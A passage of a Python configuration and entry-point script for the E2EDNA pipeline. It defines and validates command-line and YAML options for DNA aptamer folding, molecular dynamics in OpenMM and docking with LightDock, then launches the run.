arguments')\nparser.add_argument('-ow',\n                         '--overwrite',\n                         action='store_true',\n                         required=False,\n                         help='Overwrite existing --run_num')\n\n# =========================== Compute platform information ===========================\ncompute_info.add_argument('-d',\n                         '--device',\n                         metavar='\\b',\n                         type=str,\n                         default='local',\n                         help='Device configuration',\n                         choices=['local', 'cluster'])\ncompute_info.add_argument('-os',\n                         '--operating_system',\n                         metavar='\\b',\n                         type=str,\n                         default='macos',\n                         help='Operating system',\n                         choices=['macos', 'linux', 'WSL'])\ncompute_info.add_argument('-p',\n                         '--platform',\n                         metavar='\\b',\n                         type=str,\n                         default='CPU',\n                         help='Processing platform',\n                         choices=['CPU', 'CUDA', 'OpenCL'])\ncompute_info.add_argument('--CUDA_precision', \n                         metavar='\\b',\n                         type=str,\n                         default='single',\n                         help='Precision of CUDA or OpenCL, if used',\n                         choices=['single', 'double', 'mixed'])\n\n# =========================== Directory information ===========================\npaths.add_argument('-w',\n                    '--workdir',\n                    metavar='DIR',\n                    type=str,\n                    default='./e2edna_runs',\n                    help='Working directory to store individual output runs')\npaths.add_argument('-mbdir',\n                    '--mmb_dir',\n                    metavar='\\b',\n                    type=str,\n                    default=None,\n                    # default='Installer*/lib',\n                    help='MMB library directory')\npaths.add_argument('-mb',\n                    '--mmb',\n                    metavar='\\b',\n                    type=str,\n                    default=None,\n                    # default='Installer*/bin/MMB*',\n                    help='Path to MMB executable')\n\n\n# =========================== Parameters to run pipeline ===========================\n# \"required\" is set to be False as default, so that it is possible to only set it up in yaml config file\n\nrun_info.add_argument('--quick_check_mode',\n                         metavar='\\b',\n                         type=str,\n                         default='Yes',\n                         help='Rapidly run a certain mode for quick check using default test parameters',\n                         choices=['Yes','No'])\n# run_num is a string\nrun_info.add_argument('-r',\n                         '--run_num',\n                         metavar='\\b',\n                         type=str,\n                         default='1',\n                         help='Run number. Output will be written to {--workdir}/run{--run_num}')\n\n# ================ DNA aptamer and ligand info ================\nrun_info.add_argument('-m',\n                         '--mode',\n                         metavar='\\b',\n                         type=str,\n                         help='Run mode',\n                         choices=['2d structure', '3d coarse', '3d smooth',\n                                  'coarse dock', 'smooth dock', 'free aptamer',\n                                  'full dock', 'full binding'])\n''' --mode:\n    '2d structure': ssString, pair list and probability\n    '3d coarse': MMB output, stressed structure, no solvent\n    '3d smooth': MMB output with short MD relaxation\n    'coarse dock': best docking scores on coarse MMB structure\n    'smooth dock': best docking scores on smoothed MMB structure\n    'free aptamer': evaluate and find representative 3D aptamer structure\n    'full dock': 'free aptamer' + docking\n    'full binding': 'full dock' + binding\n'''\nrun_info.add_argument('-a',\n                         '--aptamer_seq',\n                         metavar='\\b',\n                         type=str,                         \n                         help=\"DNA Aptamer sequence (5'->3')\")\nrun_info.add_argument('-l',\n                         '--ligand',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help=\"Name of PDB file for ligand structure; None if not to have ligand\")\nrun_info.add_argument('-lt',\n                         '--ligand_type',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help='Type of ligand molecule',\n                         choices=['peptide', 'DNA', 'RNA', 'other'])\nrun_info.add_argument('-ls',\n                         '--ligand_seq',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help='Ligand sequence if peptide, DNA, or RNA')\n# Examples:\nrun_info.add_argument('--example_target_pdb',\n                         metavar='\\b',\n                         type=str,\n                         default='examples/example_peptide_ligand.pdb',\n                         help='An example peptide ligand included in E2EDNA package: used when wish to test docking')\nrun_info.add_argument('--example_peptide_seq',\n                         metavar='\\b',\n                         type=str,\n                         default='YQTQTNSPRRAR',\n                         help='The sequence of the example peptide ligand')\n\n\n# ================ Pipeline module: NUPACK and MMB ================\n# # NUPACK and MMB modules:\nrun_info.add_argument('--skip_MMB',\n                         metavar='\\b',\n                         type=str,\n                         default='No',\n                         help=\"If `Yes`: skip both 2D structure analysis and MMB folding, and start with a known --init_structure\",\n                         choices=['Yes','No'])\nrun_info.add_argument('-init',\n                         '--init_structure',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help='Name of PDB file if starting pipeline on a DNA aptamer with known structure')\n\nrun_info.add_argument('--secondary_structure_engine',\n                         metavar='\\b',\n                         type=str,\n                         default='NUPACK',\n                         help='Pipeline module that is used to predict secondary structures')\nrun_info.add_argument('--ensemble',\n                         metavar='\\b',\n                         type=str,\n                         default='nostacking',\n                         help='How NUPACK4 handles the stacking calculations',\n                         choices=['nostacking', 'stacking', 'none-nupack3', 'some-nupack3', 'all-nupack3'])\nrun_info.add_argument('--N_2D_structures',\n                         metavar='\\b',\n                         type=int,\n                         default=1,\n                         help='Number of predicted secondary structures')\nrun_info.add_argument('--Mg_conc',\n                         metavar='\\b',\n                         type=float,\n                         default=0.0,\n                         help='Magnesium molar concentration used in NUPACK: [0, 0.2]')\n\nrun_info.add_argument('--fold_fidelity',\n                         metavar='\\b',\n                         type=float,\n                         default=0.9,\n                         help=\"Refold in MMB if score < `fold_fidelity` unless the `fold_speed` is `quick`\")\nrun_info.add_argument('--fold_speed',\n                         metavar='\\b',\n                         type=str,\n                         default='normal',\n                         help='MMB folding speed',\n                         choices=['quick','normal','slow'])\nrun_info.add_argument('--mmb_normal_template',\n                         metavar='\\b',\n                         type=str,\n                         default='lib/mmb/commands.template.dat',\n                         help='Path to MMB folding protocol of normal speed')\nrun_info.add_argument('--mmb_quick_template',\n                         metavar='\\b',\n                         type=str,\n                         default='lib/mmb/commands.template_quick.dat',\n                         help='Path to MMB folding protocol of quick speed')\nrun_info.add_argument('--mmb_slow_template',\n                         metavar='\\b',\n                         type=str,\n                         default='lib/mmb/commands.template_long.dat',\n                         help='Path to MMB folding protocol of slow speed')\nrun_info.add_argument('--mmb_params',\n                         metavar='\\b',\n                         type=str,\n                         default='lib/mmb/parameters.csv',\n                         help='Path to parameter file bundled with MMB package')\n\n\n# ================ Pipeline module: OpenMM ================\n# OpenMM module: \n# # resume a MD sampling\nrun_info.add_argument('-pk',\n                         '--pickup',\n                         metavar='\\b',\n                         type=str,\n                         default='No',\n                         help='Whether the run is to resume MD sampling of an unfinished run or an old run',\n                         choices=['Yes', 'No'])\nrun_info.add_argument('--pickup_from_freeAptamerChk',\n                         metavar='\\b',\n                         type=str,\n                         default='No',\n                         help='Resume MD sampling of free aptamer: skip everything before it',\n                         choices=['Yes','No'])\nrun_info.add_argument('--pickup_from_complexChk',\n                         metavar='\\b',\n                         type=str,\n                         default='No',\n                         help='Resume MD sampling of aptamer-ligand: skip everything before it',\n                         choices=['Yes','No'])\nrun_info.add_argument('--chk_file',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help='Name of checkpoint file for resuming MD sampling, format: <path>/<filename>.chk')\nrun_info.add_argument('--pickup_pdb',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help='PDB file (topology+coordinates) for resuming MD sampling in explicit solvent, format: <path>/<filename>.pdb')\n\n# # Environmental parameters\nrun_info.add_argument('--pressure',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0,\n                         help='Pressure in the unit of atm')\nrun_info.add_argument('--temperature',\n                         metavar='\\b',\n                         type=float,\n                         default=298.0,\n                         help='Temperature in Kelvin')\nrun_info.add_argument('--ionicStrength',\n                         metavar='\\b',\n                         type=float,\n                         default=0.1,\n                         help='Sodium molar concentration (could be used by NUPACK and OpenMM)') # could be used in implicit solvent as well\nrun_info.add_argument('--pH',\n                         metavar='\\b',\n                         type=float,\n                         default=7.4,\n                         help='Could be used by OpenMM')\n\n# # MD sampling: time and Langevin integrator\nrun_info.add_argument('--auto_sampling',\n                         metavar='\\b',\n                         type=str,\n                         default='No',\n                         help=\"If `Yes`: run MD sampling till convergence, currently only feasible in free aptamer sampling\",\n                         choices=['Yes','No'])\nrun_info.add_argument('--autoMD_convergence_cutoff',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0e-2,\n                         help='Convergence cutoff if doing auto_sampling')\nrun_info.add_argument('--max_aptamer_sampling_iter',\n                         metavar='\\b',\n                         type=int,\n                         default=20,\n                         help='Max number of iterations for free aptamer MD sampling if doing auto_sampling')\nrun_info.add_argument('--max_walltime',\n                         metavar='\\b',\n                         type=float,\n                         default=24.0,\n                         help='Walltime in hours to check runtime')\n\nrun_info.add_argument('--skip_smoothing',\n                         metavar='\\b',\n                         type=str,\n                         default='Yes',\n                         help=\" If `Yes`: no short MD relaxation before MD sampling\",\n                         choices=['Yes','No'])\nrun_info.add_argument('--equilibration_time',\n                         metavar='\\b',\n                         type=float,\n                         default=0.1,\n                         help='Equilibration time in nanoseconds after energy minimization and before MD sampling')\nrun_info.add_argument('--smoothing_time',\n                         metavar='\\b',\n                         type=float,\n                         default=None,\n                         help='Time in nanoseconds for short MD relaxation before MD sampling, if any')\nrun_info.add_argument('--aptamer_sampling_time',\n                         metavar='\\b',\n                         type=float,\n                         default=None,\n                         help='MD sampling time in nanoseconds for free aptamer dynamics')\nrun_info.add_argument('--complex_sampling_time',\n                         metavar='\\b',\n                         type=float,\n                         default=None,\n                         help='MD sampling time in nanoseconds for aptamer-ligand complex dynamics')\nrun_info.add_argument('--time_step',\n                         metavar='\\b',\n                         type=float,\n                         default=2.0,\n                         help='time step in femtoseconds in MD sampling')\nrun_info.add_argument('--print_step',\n                         metavar='\\b',\n                         type=float,\n                         default=10.0,\n                         help='Printout step in picoseconds in MD sampling')\n\n# # Create simulation system\nrun_info.add_argument('--force_field',\n                         metavar='\\b',\n                         type=str,\n                         default='amber14-all',\n                         help='Force field used in OpenMM') \n                         # amber14/protein.ff14SB, amber14/DNA.OL15,amber14/RNA.OL3, amber14/lipid17, etc.\n                         # http://docs.openmm.org/latest/userguide/application/02_running_sims.html#force-fields\nrun_info.add_argument('--hydrogen_mass',\n                         metavar='\\b',\n                         type=float,\n                         default=1.5,\n                         help='Unit is amu')\n\n# # Default is to run simulation in explicit solvent\nrun_info.add_argument('--water_model',\n                         metavar='\\b',\n                         type=str,\n                         default='amber14/tip3p',\n                         help='Explicit water solvent model used in OpenMM') # amber14/tip3pfb,amber14/tip4pew,amber14/spce,etc.\nrun_info.add_argument('--box_offset',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0,\n                         help='Buffering offset in nanometers on solvent box, if using explicit solvent')\nrun_info.add_argument('--constraints',\n                         metavar='\\b',\n                         type=str,\n                         default='None',\n                         help=\"Specify which bond angles and/or lengths should be implemented with constraints\",\n                         choices=['None','HBonds','AllBonds','HAngles'])\nrun_info.add_argument('--constraint_tolerance',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0e-6,\n                         help='Distance tolerance for constraint in OpenMM integrator')\nrun_info.add_argument('--rigid_water',\n                         metavar='\\b',\n                         type=str,\n                         default='Yes',\n                         help='Whether to make water molecules completely rigid at bond lengths and angles',\n                         choices=['Yes','No'])\nrun_info.add_argument('--nonbonded_method',\n                         metavar='\\b',\n                         type=str,\n                         default='NoCutoff',\n                         help='Type of nonbonded interactions',\n                         choices=['Ewald','PME','LJPME','CutoffPeriodic','CutoffNonPeriodic','NoCutoff'])\n                        # In implicit solvent: only 'CutoffPeriodic', 'CutoffNonPeriodic' or 'NoCutoff'\nrun_info.add_argument('--nonbonded_cutoff',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0,\n                         help='The cutoff distance in nanometers to use for nonbonded interactions')\nrun_info.add_argument('--ewald_error_tolerance',\n                         metavar='\\b',\n                         type=float,\n                         default=5.0e-4,\n                         help=\"Error tolerance if `nonbonded_method` is `Ewald`, `PME`, or `LJPME`\")\nrun_info.add_argument('--friction',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0,\n                         help='Friction coefficient in unit of 1/ps, used in Langevin integrator')\n\n# # Option: using implicit solvent\nrun_info.add_argument('--implicit_solvent',\n                         metavar='\\b',\n                         type=str,\n                         default='No',\n                         help='Whether to use an Amber GB implicit solvent model',\n                         choices=['Yes','No'])\nrun_info.add_argument('--implicit_solvent_model',\n                         metavar='\\b',\n                         type=str,\n                         default=None,\n                         help=\"Specify an Amber GB implicit solvent model if needed\",\n                         choices=['HCT','OBC1','OBC2','GBn','GBn2'])\nrun_info.add_argument('--soluteDielectric',\n                         metavar='\\b',\n                         type=float,\n                         default=1.0,\n                         help='The solute dielectric constant to use in the implicit solvent model')\nrun_info.add_argument('--solventDielectric',\n                         metavar='\\b',\n                         type=float,\n                         default=78.5,\n                         help='The solvent dielectric constant to use in the implicit solvent model')\nrun_info.add_argument('--implicit_solvent_Kappa',\n                         metavar='\\b',\n                         type=float,\n                         default=None,\n                         help='Debye screening parameter; If specified by user, OpenMM will ignore {--ionicStrength} in implicit solvent.')\nrun_info.add_argument('--leap_template',\n                         metavar='\\b',\n                         type=str,\n                         default='leap_template.in',\n                         help='A script for running LEap program in Ambertools21, provided in E2EDNA package.')\nrun_info.add_argument('--DNA_force_field',\n                         metavar='\\b',\n                         type=str,\n                         default='DNA.OL15',\n                         help='Force field for DNA used by LEap program',\n                         choices=['DNA.OL15','DNA.bsc1'])\n\n\n# ================ Pipeline module: LightDock ================\nrun_info.add_argument('--docking_steps',\n                         metavar='\\b',\n                         type=int,\n                         default=10,\n                         help='Number of steps for docking simulations')\nrun_info.add_argument('--N_docked_structures',\n                         metavar='\\b',\n                         type=int,\n                         default=1,\n                         help='Number of docked structures output from the docker')\n\n# =========================== Above: finished reading arguments from command line input ===========================\n\n\nparams = parser.parse_args()\n\n# Load up configuraton yaml file\nif params.yaml_config is not None:    \n    yaml_path = Path(params.yaml_config)\n    assert yaml_path.exists()\n    assert yaml_path.suffix in {\".yaml\", \".yml\"}\n    with yaml_path.open(\"r\") as f:\n        yaml_config = yaml.safe_load(f) # return a dict\n\n# Convert from namespace to dictionary\nparams = vars(params)\n\n# Merge: if any overlap, yaml file will overwrite command line inputs (especially the default values in params). \nparams.update(yaml_config)\n# yaml file does not have to set up all arguments\n\n# Convert 10 'Yes'/'No' binary arguments into boolean:\nparams['quick_check_mode']           = params['quick_check_mode']=='Yes'\n# params['explicit_run_enumeration']   = params['explicit_run_enumeration']=='Yes'\nparams['skip_MMB']                   = params['skip_MMB']=='Yes'\nparams['pickup']                     = params['pickup']=='Yes'\nparams['pickup_from_freeAptamerChk'] = params['pickup_from_freeAptamerChk']=='Yes'\nparams['pickup_from_complexChk']     = params['pickup_from_complexChk']=='Yes'\nparams['auto_sampling']              = params['auto_sampling']=='Yes'\nparams['skip_smoothing']             = params['skip_smoothing']=='Yes'\nparams['rigid_water']                = params['rigid_water']=='Yes'\nparams['implicit_solvent']           = params['implicit_solvent']=='Yes'\n\n# Check if the mode explicitly needs MD_smoothing:\nif params['mode'] in ['3d smooth', 'smooth dock']: \n    params['skip_smoothing'] = False\n\n# If to quickly check a certain mode, use simplistic settings for pipeline modules\nif params['quick_check_mode'] is True:\n    # NUPACk and MMB\n    params['skip_MMB'] = False\n    params['secondary_structure_engine'] = 'NUPACK'\n    params['N_2D_structures'] = 1\n    params['Mg_conc'] = 0.005\n    params['fold_fidelity'] = 0.9\n    params['fold_speed'] = 'quick'\n    params['init_structure'] = None\n\n    # OpenMM\n    params['pickup'] = False\n    params['pickup_from_freeAptamerChk'] = False\n    params['pickup_from_complexChk'] = False\n    params['chk_file'] = None\n    params['pickup_pdb'] = None\n\n    params['auto_sampling'] = False\n    params['autoMD_convergence_cutoff'] = 1e-2 # not used if auto_sampling=False\n    params['max_aptamer_sampling_iter'] = 2    # not used if auto_sampling=False\n    \n    params['equilibration_time'] = 0.0001  # ns. 50 steps\n    if params['mode'] in ['3d smooth', 'smooth dock']:\n        params['skip_smoothing'] = False\n        params['smoothing_time'] = 0.001   # ns. 500 steps\n    else:\n        params['skip_smoothing'] = True\n        params['smoothing_time'] = None\n    params['aptamer_sampling_time'] = 0.002      # ns. 1000 steps\n    if params['mode'] == 'full binding':\n        params['complex_sampling_time'] = 0.002  # ns. 1000 steps\n    params['time_step'] = 2.0              # fs\n    params['print_step'] = 0.05            # ps. print out every 25 steps\n    params['force_field'] = 'amber14-all'\n    params['hydrogen_mass'] = 1.5\n    params['water_model'] = 'amber14/tip3p'\n    params['box_offset'] = 1.0\n    params['constraints'] = 'HBonds'\n    params['constraint_tolerance'] = 1.0e-6\n    params['rigid_water'] = True\n    params['nonbonded_method'] = 'PME'\n    params['nonbonded_cutoff'] = 1.0\n    params['ewald_error_tolerance'] = 5.0e-4\n    params['friction'] = 1.0\n    params['implicit_solvent'] = False\n    params['implicit_solvent_model'] = None\n    params['soluteDielectric'] = None\n    params['solventDielectric'] = None\n    params['implicit_solvent_Kappa'] = None\n    params['leap_template'] = None\n    params['DNA_force_field'] = None\n\n    # LightDock\n    params['docking_steps'] = 10\n    params['N_docked_structures'] = 1\n\n# =========================== Verify the input arguments from yaml file and command line ===========================\n\nif params['device'] in ['local', 'cluster']:\n    if params['operating_system'] in ['macos', 'linux', 'WSL']:\n        if params['platform'] in ['CPU', 'CUDA', 'OpenCL']:\n            if params['platform'] == 'CUDA' or params['platform'] == 'OpenCL':\n                if not params['CUDA_precision'] in ['single', 'double', 'mixed']:\n                    parser.error(f\"Invalid value: --CUDA_precision={params['CUDA_precision']}. Must be from [single, double, mixed].\")\n        else:\n            parser.error(f\"Invalid value: --platform={params['platform']}. Must be from [CPU, CUDA, OpenCL].\")\n    else:\n        parser.error(f\"Invalid value: --operating_system={params['operating_system']}. Must be from [macos, linux, WSL].\")\nelse:\n    parser.error(f\"Invalid value: --device={params['device']}. Must be from [local, cluster].\")\n\n# Check if workdir exists, and create if not\nif not os.path.isdir(params['workdir']):\n    os.mkdir(params['workdir'])\n\n# Check if output directory for run exists;\n# Either fail or force overwrite if so\nout_dir = os.path.join(params['workdir'], 'run' + params['run_num']) #{workdir}/run{run_num}\nif os.path.isdir(out_dir):\n    if params['overwrite']:\n        shutil.rmtree(out_dir) # Delete entire directory tree\n    else: # even if --pickup is True, still do it in a new output directory\n        parser.error(f\"--run_num already exists at {out_dir}\\n\"\n                    '\\t To overwrite: add -ow/--overwrite flag in command line.')\n\nif not params['mode'] in ['2d structure',\n                          '3d coarse',\n                          '3d smooth',\n                          'coarse dock',\n                          'smooth dock',\n                          'free aptamer',\n                          'full dock',\n                          'full binding']:\n    parser.error(f\"Invalid value: --mode={params['mode']}\\n\"\n        \"\\t Must be from ['2d structure','3d coarse','3d smooth','coarse dock','smooth dock','free aptamer','full dock','full binding'].\")\n\n# --aptamer_seq is always required\n# Read in aptamer sequence if it is in a file\nif (params['aptamer_seq'] is None):\n    parser.error(f\"--aptamer_seq is required, even if an initial DNA structure is available.\")\nelif not isinstance(params['aptamer_seq'], str):\n    parser.error(f\"--aptamer_seq should be of string type.\")\n# so aptamer_seq is a string, could be a file name\nelif os.path.isfile(params['aptamer_seq']):\n    params['aptamer_seq'] = open(params['aptamer_seq']).read().rstrip()\n# At this point, params['aptamer_seq'] must be a string of actual sequence, check if it is only made of 'A','G','C','T'\nif not set(params['aptamer_seq']).issubset({'A','G','C','T'}):\n    parser.error(f\"--aptamer_seq='{params['aptamer_seq']}' is made of letters other than {{'A','G','C','T'}} (case senstive).\")\n\n# Sometimes --ligand could be None, except for:\nif (params['mode'] in ['coarse dock','smooth dock','full dock']) or ((params['mode'] == 'full binding') and (params['pickup_from_complexChk'] is False)):\n    if params['ligand'] is None:\n        parser.error(f\"--ligand is required in the current setting.\\n\"\n                    \"\\t An example peptide ligand is provided at 'examples/example_peptide_ligand.pdb'.\")\n\n# Sometimes --ligand should be None:\n# including: 'full binding' but to resume complex dynamics which does not need ligand's pdb\nif (params['mode'] in ['2d structure','3d coarse','3d smooth','free aptamer']) or ((params['mode'] == 'full binding') and (params['pickup_from_complexChk'] is True)):\n    if params['ligand'] is not None:\n        parser.error(f\"--ligand is not required in the current setting and should be None.\")\n\n# When --ligand is None, then:\nif params['ligand'] is None:\n    # ligand_type and ligand_seq should not be used\n    if params['ligand_type'] is not None: parser.error('--ligand_type should be None if --ligand is None.')\n    if params['ligand_seq'] is not None:  parser.error('--ligand_seq should be None if --ligand is None.')\n# If ligand is not None: it should be a pdb file and --ligand_type is required\nelse:\n    if not os.path.isfile(params['ligand']):\n        parser.error(f\"Invalid --ligand={params['ligand']}. Must be either None or name of a valid PDB file.\")\n    \n    if not params['ligand_type'] in ['peptide', 'DNA', 'RNA', 'other']: \n        parser.error(f\"Invalid value: --ligand_type={params['ligand_type']}. Must be from [peptide, DNA, RNA, other].\")\n    else:\n        # If ligand_type is peptide, DNA, or RNA, its sequence is required\n        if (params['ligand_type'] in ['peptide', 'DNA', 'RNA']):\n            if params['ligand_seq'] is None:\n                parser.error(f\"--ligand_seq is required if --ligand_type={params['ligand_type']}\")\n            else:\n                # Read ligand sequence if it is in a file\n                if os.path.isfile(params['ligand_seq']):\n                    params['ligand_seq'] = open(params['ligand_seq']).read().rstrip()\n\n# if it is just predicting 2dSS, skip_MMB should not do anything regardless of its value\n# if it is to resume MD sampling, skip_MMB should not do anything and it will be forcefully set as False later.\nif (params['mode'] != '2d structure') and (params['pickup'] is False):        \n    \n    if params['skip_MMB'] is False:\n        if params['init_structure'] is not None:\n            parser.error(f\"--init_structure is required only if --skip_MMB='Yes'.\")\n\n        if (params['mmb_dir'] is None) or (params['mmb'] is None):\n            parser.error(f\"--mmb_dir and --mmb are required for MMB to run.\")\n\n        # Try to find MMB library directory\n        if not glob.glob(params['mmb_dir']):\n            parser.error(f\"MMB library could not be found at {params['mmb_dir']}.\")\n        else:\n            found_path = glob.glob(params['mmb_dir'])[0]\n            if os.getcwd() in found_path: # Already absolute path\n                params['mmb_dir'] = found_path\n            else: # Need to make absolute path\n                params['mmb_dir'] = os.path.join(os.getcwd(), found_path)\n\n        # Try to find MMB executable\n        if not glob.glob(params['mmb']):\n            parser.error(f\"MMB executable could not be found at {params['mmb']}.\")\n        else:\n            found_path = glob.glob(params['mmb'])[0]\n            if os.getcwd() in found_path: # Already absolute path\n                params['mmb'] = found_path\n            else: # Need to make absolute path\n                params['mmb'] = os.path.join(os.getcwd(), found_path)\n    # If skip_MMB: make sure init_structure is provided, even if we are about to resume a MD sampling (in which case, keep --skip_MMB as default 'No')\n    else: \n        if params['init_structure'] is None:\n            parser.error(f\"--init_structure is required if --skip_MMB='Yes'.\")\n        # erase input arguments about NUPACK: no longer useful\n        params['secondary_structure_engine'] = None\n\n\n# If OpenMM is required:\nif params['mode'] in ['3d smooth','smooth dock','free aptamer','full dock','full binding']:\n\n    if params['pickup'] is True:\n        # Reset these boolean arguments to avoid conflict\n        params['skip_MMB'] = False # and not need --init_structure\n        params['auto_sampling'] = False\n        params['skip_smoothing'] = True\n        params['implicit_solvent'] = False\n\n        # only one MD step is resumed\n        if (params['pickup_from_freeAptamerChk'] is True) and (params['pickup_from_complexChk'] is True):\n            parser.error(f\"--pickup_from_freeAptamerChk and --pickup_from_complexChk cannot be 'Yes' together if --pickup='Yes'.\")\n        \n        if (params['pickup_from_freeAptamerChk'] is False) and (params['pickup_from_complexChk'] is False):\n            parser.error(f\"One of --pickup_from_freeAptamerChk and --pickup_from_complexChk should be 'Yes' if --pickup='Yes'.\")\n        \n        # --chk_file cannot be None\n        if params['chk_file'] is None:\n            parser.error(f\"--chk_file is required if --pickup='Yes'.\")\n        # Try to find the checkpoint file\n        else:\n            if not glob.glob(params['chk_file']):\n                parser.error(f\"The checkpoint file could not be found: {params['chk_file']}.\")\n\n        # pdb file cannot be None\n        if params['implicit_solvent'] is False:\n            if params['pickup_pdb'] is None: \n                parser.error(f\"--pickup_pdb is required if --pickup='Yes' in explicit solvent.\")\n        else:\n            parser.error(f\"Resuming sampling is not currently supported in Amber implicit solvent.\")\n    # If not to resume, all pickup flags should be 'No' and no file should be provided\n    else:\n        if (params['pickup_from_freeAptamerChk'] is True) or (params['pickup_from_complexChk'] is True):\n            parser.error(f\"--pickup_from_freeAptamerChk and --pickup_from_complexChk should both be 'No' if --pickup='No'.\")\n        \n        if (params['chk_file'] is not None) or (params['pickup_pdb'] is not None):\n            parser.error(f\"--chk_file and --pickup_pdb are not required (ie, should be Python None) if --pickup='No'.\")\n\n\n    if params['auto_sampling'] is True:\n        if params['autoMD_convergence_cutoff'] is None: parser.error(f\"--autoMD_convergence_cutoff is required if --auto_sampling='Yes'.\")\n        if params['max_aptamer_sampling_iter'] is None: parser.error(f\"--max_aptamer_sampling_iter is required if --auto_sampling='Yes'.\")\n\n\n    if (params['skip_smoothing'] is False) and (params['smoothing_time'] is None):\n        parser.error(f\"--smoothing_time is required if --skip_smoothing='No'.\")\n    \n    if ((params['mode'] in ['free aptamer','full dock','full binding']) and (params['pickup_from_complexChk'] is False)) or (params['pickup_from_freeAptamerChk'] is True):\n        if params['aptamer_sampling_time'] is None: \n            parser.error(f\"--aptamer_sampling_time is required to run MD sampling of free aptamer.\")\n        elif params['smoothing_time'] is not None: \n            parser.error(f\"--smoothing_time is not required to run MD sampling of free aptamer.\")\n\n    if (params['mode'] == 'full binding') or (params['pickup_from_complexChk'] is True):\n        if params['complex_sampling_time'] is None: \n            parser.error(f\"--complex_sampling_time is required to run MD sampling of aptamer-ligand complex.\")\n        elif params['smoothing_time'] is not None: \n            parser.error(f\"--smoothing_time is not required to run MD sampling of aptamer-ligand complex.\")\n        elif (params['pickup_from_complexChk'] is True) and (params['aptamer_sampling_time'] is not None):\n            parser.error(f\"--aptamer_sampling_time is not required to resume a MD sampling of aptamer-ligand complex.\")\n\n\n    # Convert some string variables to corresponding objects in OpenMM\n    if params['constraints'] == 'HBonds':\n        params['constraints'] = HBonds\n    elif params['constraints'] == 'HAngles':\n        params['constraints'] = HAngles\n    elif params['constraints'] == 'AllBonds':\n        params['constraints'] = AllBonds\n    elif params['constraints'] == 'None':\n        params['constraints'] = None\n    else:\n        parser.error(f\"Invalid value: --constraints={params['constraints']}. Choose from [HBonds, AllBonds, HAngles, None]\")\n\n    # Convert --nonbonded_method to corresponding objects in OpenMM\n    if params['implicit_solvent'] is False:\n        # In explicit solvent: more choices for nonbonded method\n        if params['nonbonded_method'] == 'NoCutoff':\n            params['nonbonded_method'] = NoCutoff\n        elif params['nonbonded_method'] == 'CutoffNonPeriodic':\n            params['nonbonded_method'] = CutoffNonPeriodic\n        elif params['nonbonded_method'] == 'CutoffPeriodic':\n            params['nonbonded_method'] = CutoffPeriodic\n        elif params['nonbonded_method'] == 'LJPME':\n            params['nonbonded_method'] = LJPME\n        elif params['nonbonded_method'] == 'Ewald':\n            params['nonbonded_method'] = Ewald\n        elif params['nonbonded_method'] == 'PME':\n            params['nonbonded_method'] = PME\n            # Particle Mesh Ewald: efficient full electrostatics method for \n            # use with periodic boundary conditions to calculate long-range interactions\n        else:\n            parser.error(f\"Invalid value: --nonbonded_method={params['nonbonded_method']}. \"\n                \"Choose from [Ewald, PME, LJPME, CutoffPeriodic, CutoffNonPeriodic, NoCutoff] for explicit solvent.\")\n    # implicit solvent is used\n    else:\n        params['implicit_solvent_salt_conc'] = params['ionicStrength']  \n        '''Salt conc in solvent: converted to debye length (kappa) using the provided temperature and solventDielectric \n        (see interfaces.py for detailed walk-through)'''\n\n        # Convert --implicit_solvent_model to corresponding objects in OpenMM\n        if params['implicit_solvent_model'] == 'HCT':\n            params['implicit_solvent_model'] = HCT\n        elif params['implicit_solvent_model'] == 'OBC1':\n            params['implicit_solvent_model'] = OBC1\n        elif params['implicit_solvent_model'] == 'OBC2':\n            params['implicit_solvent_model'] = OBC2\n        elif params['implicit_solvent_model'] == 'GBn':\n            params['implicit_solvent_model'] = GBn\n        elif params['implicit_solvent_model'] == 'GBn2':\n            params['implicit_solvent_model'] = GBn2\n        else:\n            parser.error(f\"Invalid value: --implicit_solvent_model={params['implicit_solvent_model']}. \"\n                \"Currently supporting: HCT, OBC1, OBC2, GBn, GBn2\")\n        \n        if params['leap_template'] is None:\n            parser.error(f\"--leap_template is required if wish to use implicit solvent model.\")\n\n        if (params['DNA_force_field'] != 'DNA.OL15') and (params['DNA_force_field'] != 'DNA.bsc1'):\n            parser.error(f\"Invalid value: --DNA_force_field={params['DNA_force_field']}. \"\n                \"Choose from [DNA.OL15, DNA.bsc1].\")\n\n        # Convert --nonbonded_method to corresponding objects in OpenMM\n        # In implicit solvent: only CutoffPeriodic or CutoffNonPeriodic or NoCutoff\n        if params['nonbonded_method'] == 'NoCutoff':\n            params['nonbonded_method'] = NoCutoff\n        elif params['nonbonded_method'] == 'CutoffNonPeriodic':\n            params['nonbonded_method'] = CutoffNonPeriodic\n        elif params['nonbonded_method'] == 'CutoffPeriodic':\n            params['nonbonded_method'] = CutoffPeriodic\n        else:\n            parser.error(f\"Invalid value: --nonbonded_method={params['nonbonded_method']}. \"\n                \"Choose from [CutoffPeriodic, CutoffNonPeriodic or NoCutoff] for implicit solvent.\")\n        ''' When building a system in implicit solvent, no periodic boundary condition => cannot use Ewald, PME, or LJPME \n                => only NoCutoff or CutoffNonPeriodic or CutoffPeriodic.        \n            PBC is used to avoid surface effects in explicit solvent and implicit solvent does not have solvent boundaries (the continuum goes on forever).\n        ''' \n# =========================== Verification of input arguments from yaml file and command line: done ===========================\n\n# Default Python scripts used in LightDock\nparams['ld_setup']     = 'lightdock3_setup.py'\nparams['ld_run']       = 'lightdock3.py'\nparams['lgd_generate'] = 'lgd_generate_conformations.py'\nparams['lgd_cluster']  = 'lgd_cluster_bsas.py'\nparams['lgd_rank']     = 'lgd_rank.py'\nparams['lgd_top']      = 'lgd_top.py'\n\n# print(params)\n\n# =========================== main function entrance ===========================\nif __name__ == '__main__':\n    opendna = opendna(params)  # instantiate the class\n    final_output_dict = opendna.run()  # retrieve binding information (eventually this should become a normalized c-number)    \n    printRecord('\\nPipeline successfully 